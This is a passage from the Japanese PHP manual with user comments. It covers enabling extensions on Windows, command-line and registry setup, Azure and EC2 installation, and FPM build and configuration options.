Windows 版の PHP には、多くの拡張モジュールが 組み込まれています。これらの関数を使用する際には、 追加の DLL ファイルや extension ディレクティブの設定は不要です。 追加の DLL が必要となる (あるいはかつて必要だった) 拡張モジュールについては、 Windows 版 PHP 拡張モジュール の表にまとめてあります。以下にあげられている拡張モジュールは、すでに PHP に組み込まれています (PHP 5.0.4 時点): BCMath, Calendar, COM, Ctype, DOM, FTP, LibXML, Iconv, ODBC, PCRE, Session, SimpleXML, SPL, WDDX, XML そして Zlib.

PHP が拡張モジュールを探すデフォルトの場所は C:\php5 です。 変更するには php.ini ファイルを編集してください。

  • extension_dir を拡張モジュール があるフォルダに変更する必要があります。 php_*.dllファイルをそこに置いてください。 例えば次のようになります。

    extension_dir = c:\php\extensions

  • php.ini には、多くの拡張モジュール名がコメントアウトされた状態で記載済みです。 それらの拡張モジュールを有効にするには、php.ini 上の extension=php_*.dll の行をアンコメント（行頭の ; を削除する）してください。

    例23 Windows 版の PHP で Bzip2 拡張モジュールを有効にする

    // この行を以下から
;extension=php_bz2.dll

// このように変更する
extension=php_bz2.dll

  • 拡張モジュールによっては、その動作に外部 DLL が必要な場合があります。 配布パッケージには、一部の外部 DLL がバンドルされています。 親フォルダを参照ください。ただし、必要な外部 DLL がバンドルされていないモジュールもあり、たとえば、Oracle モジュール (php_oci8.dll) は、非バンドルの DLL を必要とします。 また、忘れずに C:\php をシステムパスに 追加してください（その方法は、別途 FAQ に記載されています。）

  • これらの DLLs の中には、PHP の配布ファイルに含まれていないものもあります。 詳細は、それぞれの拡張モジュールのドキュメントを参照ください。 また、PECL についての詳細は、マニュアルの PECL 拡張モジュールのインストール という節を参照ください。多くの PHP 拡張モジュールが PECL に移行しつつあり、これらは 個別にダウンロード しなければなりません。

注意: PHP をサーバーモジュールとして実行している場合は、Webサーバーを再起動しないと、 php.ini の設定が反映されません。Web サーバーの再起動を忘れずに行ってください。

以下の表は、使用可能な拡張モジュールと それらの実行に別途必要な DLL のリストです。

PHP 拡張モジュール
拡張モジュール | 説明 | 備考
php_bz2.dll | bzip2 圧縮関数 |
php_calendar.dll | カレンダー 関数 |
php_ctype.dll | 文字型(ctype) 関数 |
php_curl.dll | CURL, Client URL Library 関数 | libeay32.dll および ssleay32.dll (バンドル), OpenSSL 1.1 の場合、 libcrypto-*.dll および libssl-*.dll が必要 (バンドル)
php_dba.dll | DBA: (dbm 型の) データベース・アブストラクション レイヤー関数 |
php_dbase.dll | dBase 関数 |
php_exif.dll | EXIF 関数 | php_mbstring.dll。php.ini で php_exif.dll は php_mbstring.dll の後で読み込まれる必要がある。
php_fbsql.dll | FrontBase 関数 |
php_fdf.dll | FDF: Forms Data Format 関数 | fdftk.dll が必要 （バンドル）
php_filepro.dll | filePro 関数 | 読み込みのみ
php_ftp.dll | FTP 関数 |
php_gd2.dll | イメージ 関数 (GD2 ライブラリ) | GD2
php_gettext.dll | Gettext 関数 | PHP <= 4.2.0 では gnu_gettext.dll が必要 （バンドル）, PHP >= 4.2.3 では libintl-1.dll および iconv.dll が必要（バンドル）
php_hyperwave.dll | HyperWave 関数 |
php_iconv.dll | ICONV 関数 | iconv-1.3.dll が必要（バンドル）、 iconv.dll
php_iisfunc.dll | IIS management 関数 |
php_imap.dll | IMAP,POP3,NNTP 関数 |
php_ingres.dll | Ingres 関数 | Ingres ライブラリが必要
php_interbase.dll | InterBase 関数 | gds32.dll が必要（バンドル）
php_ldap.dll | LDAP 関数 | libeay32.dll と ssleay32.dll （バンドル）、 OpenSSL 1.1 以降の場合 libcrypto-*.dll と libssl-*.dll が必要 (バンドル)
php_mbstring.dll | マルチバイト文字列 関数 |
php_mcrypt.dll | Mcrypt 暗号化 関数 | libmcrypt.dll が必要
php_mhash.dll | Mhash 関数 | libmhash.dll が必要（バンドル）
php_mysql.dll | MySQL 関数 | libmysql.dll が必要（バンドル）
php_mysqli.dll | MySQLi 関数 | libmysql.dll (PHP <= 5.0.2 では libmysqli.dll) が必要（バンドル）
php_oci8.dll | Oracle 8 関数 | Oracle 8.1+ クライアントライブラリが必要
php_openssl.dll | OpenSSL 関数 | libeay32.dll（バンドル）、 OpenSSL 1.1 以降の場合は、liblibcrypto-*.dll が必要 (バンドル)
php_pgsql.dll | PostgreSQL 関数 |
php_shmop.dll | 共有メモリ 関数 (shmop) |
php_snmp.dll | SNMP 関数 | NT のみ
php_soap.dll | SOAP 関数 |
php_sockets.dll | ソケット 関数 |
php_tidy.dll | Tidy 関数 |
php_tokenizer.dll | Tokenizer 関数 |
php_w32api.dll | W32api 関数 |
php_xmlrpc.dll | XML-RPC 関数 | iconv.dll が必要（バンドル）
php_xslt.dll | XSLT 関数 | sablot.dll, expat.dll および iconv.dll が必要（バンドル）
php_yaz.dll | YAZ 関数 | yaz.dll が必要（バンドル）
php_zip.dll | Zip ファイル 関数 | 読込のみ
php_zlib.dll | ZLib 圧縮関数 |

Microsoft Windows のコマンドラインでの PHP

この?では、PHP を Windows のコマンドラインで実行するときの注意点やヒントを説明します。

注意:

まず最初に 手動でのインストールの手順 を読みましょう!

特に Windows に手を加えなくても、PHP をコマンドラインから実行することはできます。

C:\PHP5\php.exe -f "C:\PHP Scripts\script.php" -- -arg1 -arg2 -arg3

しかし、次の手順に従えば、さらにシンプルに実行することができます。 この中にはすでに実行済みのものがあるかもしれませんが、順を追って進めていくために もう一度ここで説明しておきます。

    注意:

    PATH と PATHEXT は Windows で重要な働きをするシステム変数です。 既存の変数の値を上書きしないように注意しましょう。あくまでも追記するだけにします。

  • PHP の実行ファイル (php.exe、 php-win.exe あるいは php-cli.exe。 PHP のバージョンや設定によって変わります) がある場所を環境変数 PATH の最後に追加します。 PHP のディレクトリを PATH に追加する方法は、FAQ の項目 を参照ください。

  • 拡張子 .PHP を、環境変数 PATHEXT の最後に追加します。これは、環境変数 PATH の変更と同時に行うこともできます。 FAQ に書かれている手順に従いましょう。ただし、環境変数 PATH の部分は PATHEXT に変更します。

    注意:

    .PHP をどの位置に書くかによって、 ファイル名がマッチしたときに実行されるスクリプトあるいはプログラムが決まります。 たとえば .PHP を .BAT より前に書くと、 同じ名前のバッチファイルがあってもスクリプトのほうを優先して実行します。

  • 拡張子 .PHP をファイル形式と関連づけます。 これは、次のコマンドで行います。

    assoc .php=phpfile

  • ファイル形式 phpfile を適切な PHP 実行ファイルと関連づけます。 これは、次のコマンドで行います。

    ftype phpfile="C:\PHP5\php.exe" -f "%1" -- %~2

このようにしておくと、どのディレクトリにあるスクリプトを実行するときにも PHP 実行ファイルのパスや拡張子 .PHP をタイプしなくて済むようになります。 また、スクリプトに渡すパラメータを指定することもできます。

次の例は、レジストリの変更の一部を示したものです。これらは手動で行うこともできます。

例24 レジストリの変更

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.php]
@="phpfile"
"Content Type"="application/php"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile]
@="PHP Script"
"EditFlags"=dword:00000000
"BrowserFlags"=dword:00000008
"AlwaysShowExt"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\DefaultIcon]
@="C:\\PHP5\\php-win.exe,0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell]
@="Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open]
@="&Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open\command]
@="\"C:\\PHP5\\php.exe\" -f \"%1\" -- %~2"

これらの変更をすれば、同じコマンドを次のように書くことができます。

"C:\PHP Scripts\script" -arg1 -arg2 -arg3
また、"C:\PHP Scripts" が環境変数 PATH に含まれていれば、次のように書くこともできます。
script -arg1 -arg2 -arg3

注意:

これらのテクニックを使って PHP スクリプトをコマンドラインフィルタとして使おうとすると、 ちょっとした問題が発生します。「コマンドラインフィルタとして使う」とは、たとえば

dir | "C:\PHP Scripts\script" -arg1 -arg2 -arg3
あるいは
dir | script -arg1 -arg2 -arg3
のように使うということです。 このようにすると、スクリプトがハングして何も出力されなくなります。 これをうまく動作させるには、さらにレジストリを変更しなければなりません。
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"InheritConsoleHandles"=dword:00000001
この件に関する詳細な情報は » Microsoft Knowledgebase Article : 321788 を参照ください。 Windows 10 ではこの設定が変更されたようです。Windows 10 をインストールしたデフォルトの状態で、 コンソールのハンドルが自動的に引き継がれるようになります。この件に関しては、 » Microsoft のフォーラムへの投稿 に説明があります。

User Contributed Notes

There are no user contributed notes for this page.


クラウドコンピューティングプラットフォームへのインストール

目次

  • Azure App Services
  • Amazon EC2

PHP をクラウドにインストールします。さあ、PHP のクラウドへ！

User Contributed Notes

There are no user contributed notes for this page.


Azure App Services

PHP は、Azure App Services (aka Microsoft Azure, Windows Azure, Azure Web Apps) 上でもよく使われています。

Azure App Services は、ウェブアプリケーションをホストする Windows Web Servers のプールを管理します。自前の Azure Compute VM などで自前のウェブサーバーを管理する方法の代替となるものです。

Azure App Services のウェブサイトでは、PHP がはじめから有効になっています。Azure Portal でウェブサイトを選択すると、どのバージョンの PHP を使うかを選ぶことができます。デフォルトよりも新しいバージョンを使うこともできます。

つまり Azure App Services 上では、その他の Windows サーバー上と同様に PHP や拡張モジュールが動くということです。 Windows 上での知識の多くがそのまま使えるので、Windows のトラブルシューティングページ も参照ください。 しかし、Azure App Services の管理インターフェイスは、Windows サーバーとは少し異なります。

  • Azure portal: ウェブサイトの作成や設定変更、削除を行います。» Azure Portal

  • Kudu Dashboard: [your web site name].azurewebsites.net の Kudu dashboard は » https://[your web site name].scm.azurewebsites.net/ です。このダッシュボードには、デバッグやファイル管理そしてサイト拡張といった機能があります。サイト拡張とは、PHP のプレビュー版などの追加プログラムをウェブサイトに追加するための Azure の機構のことです。

  • IIS Manager や Server Manager や RDP は使えません。

PHP SDK も用意されていて、自分の PHP コードからさまざまな Azure Service を使うことができます。» Azure SDK for PHP を参照ください。

詳細な情報は » Azure PHP Developer Center を参照ください。

WinCache

WinCache は Azure App Services でデフォルトで有効になっています。そのままにしておくことを推奨します。 もし PHP を自分でビルドするなら、WinCache も有効にしておくべきです。

カスタム PHP ビルド

自分でビルドした PHP を D:\Home にアップロードします (C:\ への書き込み権限はありません)。そして、Azure Portal で、.php の SCRIPT_PROCESSOR に php-cgi.exe への絶対パスを設定します。

User Contributed Notes

Anonymous 03-Mar-2014 09:08
The "Azure SDK for PHP" link provided above (which points to the Interoperability Bridges website) has been deprecated in favour of an SDK hosted on GitHub...
http://github.com/WindowsAzure/azure-sdk-for-php

There is also a supporting "PHP Developer Center" website:
http://www.windowsazure.com/en-us/develop/php/

I did try editing the URL for the "Azure SDK for PHP" myself, but the URLs seem to be stored in a separate file which I was unable to find.


Amazon EC2

PHP を » EC2 クラウドプラットフォームにインストールします。

» AWS SDK for PHPもご覧ください。

User Contributed Notes

vishalsabnis82 at rediffmail dot com 16-Sep-2020 12:38
In the console.aws.amazon.com, while launching the EC2 instance, we can specify user data to configure an instance or run a configuration script(installing PHP, Mysql, Apache, etc...) during launch in the UserData section in the Step 3: Configure Instance Details.
jstillings1 at nc dot rr dot com 26-Dec-2016 02:07
if you installed Django via bitnami using AWS EC2
use this line at as root
apt-get install php5
krp dot sindhu at gmail dot com 17-Dec-2013 06:19
The amazon EC2 Platform comes with the basic PHP platform you just have to call your modules which you want to install with the amazon platform. you can simply call
<b>sudo yum install php-"your_modules"<b/> and then restart your server by using <b>sudo restart service httpd</b>
now you are able to use php on your amazon cloud environment.
tolgambaev at hotmail dot com 18-Apr-2012 12:27
The easy way to deploy PHP environment into Amazon EC2 is to use AWS Elastic Beanstalk service. It automatically runs all the infrastructure including EC2 instance with PHP installed. See http://aws.amazon.com/elasticbeanstalk/.

yum installation is also available on EC2.


FastCGI Process Manager (FPM)

目次

  • インストール
  • 設定

FPM (FastCGI Process Manager) は PHP の FastCGI 実装のひとつで、 主に高負荷のサイトで有用な追加機能を用意しています。

以下のような機能があります。

  • 緩やかな (graceful) 停止/起動 機能を含む高度なプロセス管理

  • 異なる uid/gid/chroot/environment でのワーカーの開始、 異なるポートでのリスン、異なる php.ini の使用 (safe_mode の代替)

  • 標準出力および標準エラー出力へのログ出力

  • opcode キャッシュが壊れた場合の緊急再起動

  • 高速なアップロードのサポート

  • "slowlog" - 実行時間が非常に長いスクリプトの記録 (スクリプト名だけでなく、PHP バックトレースも記録します。バックトレースを取得するために、 ptrace やそれと同等の仕組みを使ってリモートプロセスの execute_data を読みます)

  • fastcgi_finish_request() - 何か時間のかかる処理 (動画の変換や統計情報の処理など) を継続しながら リクエストを終了させてすべてのデータを出力させるための特殊な関数

  • 動的/静的 な子プロセスの起動

  • 基本的な SAPI の動作状況 (Apache の mod_status と同等)

  • php.ini ベースの設定ファイル

User Contributed Notes

info at f1-outsourcing dot eu 08-Apr-2019 10:22
It looks like the php-fpm daemon is not able to use its groups it is running with.

https://bugs.php.net/bug.php?id=77837
ikrabbe dot ask at gmail dot com 28-Feb-2018 11:45
I'm very unhappy with the way php-fpm handles requests.
There isn't even some SCRIPT_FILENAME in the RFC for CGI, an that's the only standard I found to handle the requests.

Actually what you are doing with PATH_TRANSLATED is supposed to translate to the path, which is broken by media wikis, as they use the PATH_INFO to find the ressource, not some script.

In the original CGI context, the PATH_INFO is passed to the CGI binary to specify some ressource argument. So actually

    SCRIPT_NAME  ~ argv0
    PATH_INFO      ~ argv1

in command context.

Conclusion: We should rewrite php-fpm to obey the rfc3875 CGI standard.
Having SCRIPT_NAME pointing to /something.php, must translate to

    CWD/something.php

CWD is the working directory where php-fpm is started (or configured to change to).

In case of chroot CWD = "".

In any case the SCRIPT_NAME php script can be found with ./SCRIPT_NAME, from the CWD. So the undocumented not standardized SCRIPT_FILENAME should vanish! It breaks the CGI standard.
ganlvtech at qq dot com 21-Nov-2017 09:23
php-fpm is not avaliable on Windows, but you can use IIS or Apache as the "fastcgi process manager".

If you have to use Nginx, here is a solution. Nginx provides a load balancing module. We can distribute the request to different php-cgi.exe process.

<http://nginx.org/en/docs/http/load_balancing.html>
<http://nginx.org/en/docs/http/ngx_http_upstream_module.html>

This is the origin nginx conf.
```
location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

You can replace it by
```
upstream php {
    server  127.0.0.1:9000;
    server  127.0.0.1:9001;
    server  127.0.0.1:9002;
    server  127.0.0.1:9003;
}

location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  php;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

CAUTION!!

php-cgi.exe process will die after several requests, so you have to restart the php-cgi.exe manually to keep a process listening the port.

DON'T USE THIS SOLUTION IN PRODUCTION!!
user at NOSPAM dot example dot com 04-Oct-2017 06:15
It is important to note that FPM is not built with the windows binaries.  Many of the guides you may find online rely on php-cgi.exe.  Unfortunately they call it FPM but this is incorrect!

The executable php-cgi.exe that is bundled with the windows binaries is a FastCGI interface but it is *not* FPM (Fastcgi Process Manager).  php-cgi.exe does not have multi-threading or concurrent request support, nor support for any of the FPM configuration options.

The only solid information I've gathered into why FPM is not available is a bug report explaining that FPM is built around fork(), which is not natively available on windows (https://bugs.php.net/bug.php?id=62447).
dreamcat4 at gmail dot com 16-May-2014 03:17
Doesn't work? Enable logging!

The php-fpm.log file is a great place to fault-find errors and get to the bottom of a problem. But be sure to enable logging for your specific worker pool. Or you won't see anything!

Example:

To enable error logging for the default [www] worker pool, add this line in the [www] section of your php-fpm.conf:

[www]
catch_workers_output = yes
kokushibyou at gmail dot com 25-Apr-2013 10:04
PHP-FPM is FAST - but be wary of using it while your code base is stored on NFS - under average load your NFS server will feel some serious strain. I have yet to find a work around for this bug: https://bugs.php.net/bug.php?id=52312
joel k 30-Jun-2011 12:56
the fpm process supports the USER2 signal, which is used to reload the config file.

kill -USR2 [pid]

should do the trick.
robin at robinwinslow dot co dot uk 12-Dec-2010 10:05
Init script setup
===

You will probably want to create an init script for your new php-fpm. Fortunately, PHP 5.3.3 provides one for you, which you should copy to your init directory and change permissions:

$ cp <php-5.3.3-source-dir>/sapi/fpm/init.d.php-fpm.in /etc/init.d/php-fpm
$ chmod 755 /etc/init.d/php-fpm

It requires a certain amount of setup. First of all, make sure your php-fpm.conf file is set up to  create a PID file when php-fpm starts. E.g.:
----
pid = /var/run/php-fpm.pid
----
(also make sure your php-fpm user has permission to create this file).

Now open up your new init script (/etc/init.d/php-fpm) and set the variables at the top to their relevant values. E.g.:
---
prefix=
exec_prefix=
php_fpm_BIN=/sbin/php-fpm
php_fpm_CONF=/etc/php-fpm.conf
php_fpm_PID=/var/run/php-fpm.pid
---

Your init script is now ready. You should now be able to start, stop and reload php-fpm:

$ /etc/init.d/php-fpm start
$ /etc/init.d/php-fpm stop
$ /etc/init.d/php-fpm reload

The one remaining thing you may wish to do is to add your new php-fpm init script to system start-up. E.g. in CentOS:

$ /sbin/chkconfig php-fpm on

===========

Disclaimer: Although I did just do this on my own server about 20 mins ago, everything I've written here is off the top of my head, so it may not be 100% correct. Also, allow for differences in system setup. Some understanding of what you are doing is assumed.


インストール

ソースからのコンパイル

FPM を有効にして PHP をビルドするには、configure 時に --enable-fpm を追加します。

そのほかにも FPM 固有のオプションがいくつかあります (いずれも必須ではありません)。

  • --with-fpm-user - FPM のユーザー (デフォルトは nobody)。

  • --with-fpm-group - FPM のグループ (デフォルトは nobody)。

  • --with-fpm-systemd - systemd 統合をアクティブにします (デフォルトは no)。

  • --with-fpm-acl - POSIX アクセス制御リストを使用します (デフォルトは no)。PHP 5.6.5 以降。

User Contributed Notes

jlim at juristech dot net 18-Nov-2013 07:56
If you get a compile/link error with WCOREDUMP undefined, then define the following in sapi/fpm/fpm/fpm_children.c.

This happened to me when running on AIX, which apparently does not define this macro.

#ifndef WCOREDUMP
#define WCOREDUMP(x) 0
#endif
</pre>
juangiordana at gmail dot com 09-Jan-2011 04:04
Notice that the libevent requeriment has been dropped since php-5.3.4.

http://bugs.php.net/52501
http://bugs.php.net/53691
php at gigfa dot com 13-Aug-2010 10:27
An init startup script file can be found at :
./php-5.3.3/sapi/fpm/init.d.php-fpm
after successful compilation.


設定

FPM では、php.ini 形式の構文の設定ファイル php-fpm.conf と、プール設定ファイルを使います。

php-fpm.conf のグローバル設定項目

pid string

PID ファイルへのパス。デフォルト値: なし

error_log string

エラーログファイルへのパス。デフォルト値: #INSTALL_PREFIX#/log/php-fpm.log "syslog" と設定すると、ログをローカルファイルに書き出すのではなく、syslogd に送信します。

log_level string

エラーログのレベル。使用可能な値: alert, error, warning, notice, debug、デフォルト値: notice

log_limit int

1024文字以上のログメッセージを、 改行せずにロギングできる文字数の上限。 デフォルト値: 1024 PHP 7.3.0 以降で利用可能

log_buffering bool

追加のバッファリングを行わずに実験的なロギングを行う デフォルト値: yes PHP 7.3.0 以降で利用可能

syslog.facility string

メッセージを記録するプログラムの種別。 デフォルト値: daemon

syslog.ident string

すべてのメッセージの先頭に付加する内容。 複数の FPM インスタンスを同一サーバー上で実行する場合には、 デフォルト値を変更すれば区別できるようになります。 デフォルト値: php-fpm

emergency_restart_threshold int

emergency_restart_interval で設定された間隔で この数以上の子プロセスが SIGSEGV あるいは SIGBUS で終了した場合に FPM は再起動します。0 は 'オフ' を意味します。デフォルト値: 0 (オフ)

emergency_restart_interval mixed

emergency_restart_interval が緩やかな再起動をいつ実行するかを決めるときに使う間隔。 これは、アクセラレータの共有メモリが壊れてしまったときの回避策として有用です。 使用可能な単位: s(秒), m(分), h(時間) あるいは d(日)、 デフォルトの単位: 秒、デフォルト値: 0 (オフ)

process_control_timeout mixed

子プロセスが、マスタからのシグナルの反応を待つ最大時間。 使用可能な単位: s(秒), m(分), h(時間) あるいは d(日)、 デフォルトの単位: 秒、デフォルト値: 0

process.max int

FPM がフォークするプロセスの最大数。 多数のプール内で動的な PM を使う場合に、全体のプロセス数を制御するために用意されたものです。 気をつけて使うようにしましょう。 デフォルト値: 0

process.priority int

マスタープロセスに適用する nice(2) 値。 -19 (優先度最高) から 20 (優先度最低) までの値を指定します。 デフォルト値: 未設定

daemonize bool

FPM をバックグラウンドに送る。'no' にすると デバッグ用に FPM をフォアグラウンドに置き続けます。 デフォルト値: yes

rlimit_files int

マスタープロセス用の、オープン時のファイル記述子の rlimit。デフォルト値: システムで定義されている値

rlimit_core int

マスタープロセス用の、最大コアサイズの rlimit。 デフォルト値: 0

events.mechanism string

FPM が利用するイベントメカニズム。 select、pool、epoll、kqueue (*BSD)、port (Solaris) が利用可能。 デフォルト値: 未設定 (自動検出)

systemd_interval int

FPM を systemd 統合込みでビルドした場合に、 ヘルスチェックのレポートを systemd に送る間隔 (秒単位)。 0 にすると、無効化されます。 デフォルト値: 10

プール一覧の項目

FPM を使うと、複数のプロセスプールをそれぞれ別の設定で実行することができます。 プール単位での設定を行う項目を以下に示します。

listen string

FastCGI リクエストを受け入れるアドレス。 'ip.add.re.ss:port', 'port', '/path/to/unix/socket' 形式の構文が使えます。 このオプションは、各プール単位で必須となります。

listen.backlog int

listen(2) のバックログを設定します。'-1' は無制限を意味します。 デフォルト値: -1

listen.allowed_clients string

接続を許可されている FastCGI クライアントの ipv4 アドレス一覧。オリジナル版 PHP FastCGI (5.2.2+) における環境変数 FCGI_WEB_SERVER_ADDRS と同じです。 tcp でリスンするソケットに対してのみ意味をなします。 書くアドレスはカンマ区切りで指定します。この値を空にしておくと、任意の ip アドレスからの接続を許可します。 デフォルト値: 任意の ip アドレスを許可。 5.5.20 および 5.6.4 以降は、IPv6 アドレスも指定できるようになりました。

listen.owner string

unix ソケットを使う場合に、そのパーミッションを設定します。Linux では、 読み書きアクセス権限を設定しないとウェブサーバーからの接続を受け付けることができません。 多くの BSD 由来のシステムでは、パーミッションにかかわらず接続を受け付けることができます。 デフォルト値: ユーザーとグループは実行しているユーザーと同じ、モードは 0660

listen.group string

listen.owner を参照ください。

listen.mode string

listen.owner を参照ください。

listen.acl_users string

POSIX の Access Control List をサポートしている場合は、このオプションでそれを指定できます。 これを設定した場合は、listen.owner および listen.group は無視されます。 値には、ユーザー名をカンマ区切りのリスト形式で指定します。PHP 5.6.5 以降で利用可能です。

listen.acl_groups string

listen.acl_users を参照。 グループ名を、カンマ区切りのリスト形式で指定します。PHP 5.6.5 以降で利用可能です。

user string

FPM プロセスの unix ユーザー。このオプションは必須です。

group string

FPM プロセスの unix グループ。未設定の場合は、デフォルトのユーザーのグループを使います。

pm string

プロセスマネージャが子プロセスの数を制御する方法を選択します。 使用可能な値: static, ondemand, dynamic このオプションは必須です。

static - 子プロセスの数は固定 (pm.max_children) です。

ondemand - プロセスを必要に応じて立ち上げます。 dynamic とは対照的に、リクエストされると pm.start_servers で指定しただけサービスを開始します。

dynamic - 子プロセスの数は、 pm.max_children、pm.start_servers、 pm.min_spare_servers、pm.max_spare_servers の内容に基づいて動的に設定されます。

pm.max_children int

pm が static の場合は作成される子プロセスの数、 pm が dynamic の場合は作成される子プロセスの最大数。 このオプションは必須です。

このオプションは、同時に処理できるリクエストの最大数を設定します。 mpm_prefork での ApacheMaxClients ディレクティブや、 オリジナル版の PHP FastCGI における環境変数 PHP_FCGI_CHILDREN と同じです。

pm.start_servers int

起動時に作成される子プロセスの数。pm が dynamic の場合にのみ使います。デフォルト値: min_spare_servers + (max_spare_servers - min_spare_servers) / 2

pm.min_spare_servers int

アイドル状態のサーバープロセス数の最小値。 pm が dynamic の場合にのみ使います。 また、この場合には必須となります。

pm.max_spare_servers int

アイドル状態のサーバープロセス数の最大値。 pm が dynamic の場合にのみ使います。 また、この場合には必須となります。

pm.process_idle_timeout mixed

アイドルなプロセスがkillされた後の秒数。 pm の値が 使用可能な単位: s(秒)(デフォルト)、m(分)、h(時間)、または d(日)。 デフォルト値: 10 秒

pm.max_requests int

各子プロセスが、再起動するまでに実行するリクエスト数。 サードパーティのライブラリにおけるメモリリークの回避策として便利です。 再起動せずにずっとリクエストを処理させる場合は '0' を指定します。 PHP_FCGI_MAX_REQUESTS と同じです。デフォルト値: 0

pm.status_path string

FPM の情報ページを見るための URI。この値を省略した場合は、どの URI も情報ページとは見なされません。デフォルト値: なし

ping.path string

FPM のモニタリングページをコールするための ping URI。この値を省略した場合は、どの URI も ping ページとは見なされません。これを使うと、 FPM が生きていて応答するかどうかを外部から確かめることができます。 この値の最初はスラッシュ (/) で始めなければならないことに注意しましょう。

ping.response string

このディレクティブを使うと、ping リクエストに対するレスポンスをカスタマイズすることができます。 このレスポンスは text/plain 形式となり、レスポンスコード 200 で返されます。 デフォルト値: pong

process.priority int

ワーカープロセスに適用される、 nice(2) の値の優先度を指定します。 (指定された場合のみ有効) この値は、-19(優先度最高) から、20(優先度最低) まで変わります。 デフォルト値: 未設定

process.dumpable bool

プロセスのユーザーやグループが、 masterプロセスのユーザーと異なっていた場合でも、 プロセスのダンプ可能フラグ(PR_SET_DUMPABLE prctl)を設定します。 これにより、プロセスのコアダンプを生成できるようになり、 pool のユーザーがプロセスを ptrace 出来るようになります。 デフォルト値: no PHP 7.0.29, 7.1.17 および 7.2.5 から利用可能

prefix string

path を評価する際に、 path の前につける prefix を指定します。

request_terminate_timeout mixed

単一のリクエストを処理する際のタイムアウト。この時間を過ぎるとワーカープロセスが kill されます。 このオプションは、'max_execution_time' ini オプションが何らかの理由でスクリプトの実行を止められなかった場合に使われます。 値 '0' は 'Off' を意味します。 使用可能な単位: s(秒)(デフォルト), m(分), h(時間) あるいは d(日)、 デフォルト値: 0

request_slowlog_timeout mixed

単一のリクエストを処理する際のタイムアウト。この時間を過ぎると PHP のバックトレースが 'slowlog' ファイルに出力されます。 値 '0' は 'Off' を意味します。 使用可能な単位: s(秒)(デフォルト), m(分), h(時間) あるいは d(日)、 デフォルト値: 0

slowlog string

遅いリクエストを記録するログファイル。デフォルト値: #INSTALL_PREFIX#/log/php-fpm.log.slow

rlimit_files int

このプール内の子プロセス用の、オープン時のファイル記述子の rlimit。デフォルト値: システムで定義されている値

rlimit_core int

このプール内の子プロセス用の、最大コアサイズの rlimit。 使用可能な値: 'unlimited' あるいは 0 以上の整数値、 デフォルト値: システムで定義されている値

chroot string

このディレクトリに chroot して開始位置とします。この値は絶対パスで指定しなければなりません。 この値を省略した場合は、chroot を使いません。

chdir string

このディレクトリに chdir して開始位置とします。この値は絶対パスで指定しなければなりません。 デフォルト値: カレントディレクトリ、あるいは chroot した場合は /

catch_workers_output bool

ワーカーの標準出力および標準エラー出力を本体のエラーログにリダイレクトします。 省略した場合は、FastCGI の仕様にしたがって標準出力および標準エラー出力を /dev/null にリダイレクトします。 デフォルト値: no

decorate_workers_output bool

catch_workers_output が有効になった場合に、 ワーカーの出力のデコレートを有効にします。 デフォルト値: yes PHP 7.3.0 以降で利用可能。

clear_env bool

FPM ワーカー内の環境をクリアする。 任意の環境変数が FPM ワーカープロセスに到達してしまうことを防ぐために、 ワーカー内の環境をいったんクリアしてから、このプールの設定で指定された環境変数を追加します。 PHP 5.4.27、PHP 5.5.11、PHP 5.6.0 以降で利用可能です。 デフォルト値: Yes

security.limit_extensions string

FPM がパース可能なメインスクリプトを拡張子で制限する。 サーバー側の設定ミスによる被害を抑えることができます。 FPM には拡張子 .php だけをパースさせるようにしておけば、 悪意のあるユーザーがその他の拡張子で php のコードを実行させようとする試みを防ぐことができます。 デフォルト値: .php .phar

access.log string

アクセス・ログ・ファイル。 デフォルト値: 未設定

access.format string

アクセス・ログ形式。 デフォルト値: "%R - %u %t \"%m %r\" %s"

追加の環境変数を渡して、特定のプールだけで PHP の設定を更新することができます。 そのためには、次のオプションをプール設定ファイルに追加しなければなりません。

例1 環境変数や PHP の設定をプールに渡す

env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M
php_value や php_flag で渡した PHP の設定は、その前に設定されていた内容を上書きします。 ただし disable_functions や disable_classes は別で、 php.ini で定義された値を上書きするのではなく、 新たに指定した値を追記することになります。

php_admin_value や php_admin_flag で設定した値を ini_set() で上書きすることはできません。

PHP 5.3.3 以降は、PHP の設定をウェブサーバーでも設定できるようになりました。

例2 PHP の設定を nginx.conf で行う例

set $php_value "pcre.backtrack_limit=424242";
set $php_value "$php_value \n pcre.recursion_limit=99999";
fastcgi_param  PHP_VALUE $php_value;

fastcgi_param  PHP_ADMIN_VALUE "open_basedir=/var/www/htdocs";
警告

これらの設定は fastcgi ヘッダーとして php-fpm に渡されるので、 一般公開されているアドレスに php-fpm をバインドしてはいけません。 そんなことをすると、誰でもそのサーバーの PHP の設定を変更できることになります。 listen.allowed_clients も参照ください。

User Contributed Notes

david dot cancalon at proxeem dot fr 09-Nov-2020 04:08
Be very carrefull when using ProxyFCGISetEnvIf within a Apache virtual host configuration using a shared PHP-FPM pool. Values defined like this are shared across all the Apache virtual hosts within a pool worker, may resulting in strange behaviours depending on the requests chronology.

See full explanation here:
https://serverfault.com/questions/817020/stop-reusing-php-value-for-different-sites-with-php-fpm/817905#817905
frederic at juliana-multimedia dot com 12-Nov-2018 01:21
With Apache, mod_proxy_fcgi and php-fpm, if you want to have a generic pool and several vhost with different php configuration, you can use the ProxyFCGISetEnvIf directive and the PHP_ADMIN_VALUE environment variable. It does not work with PHP_ADMIN_FLAG even for boolean directives.

PHP directives must be separated by spaces and a \n.

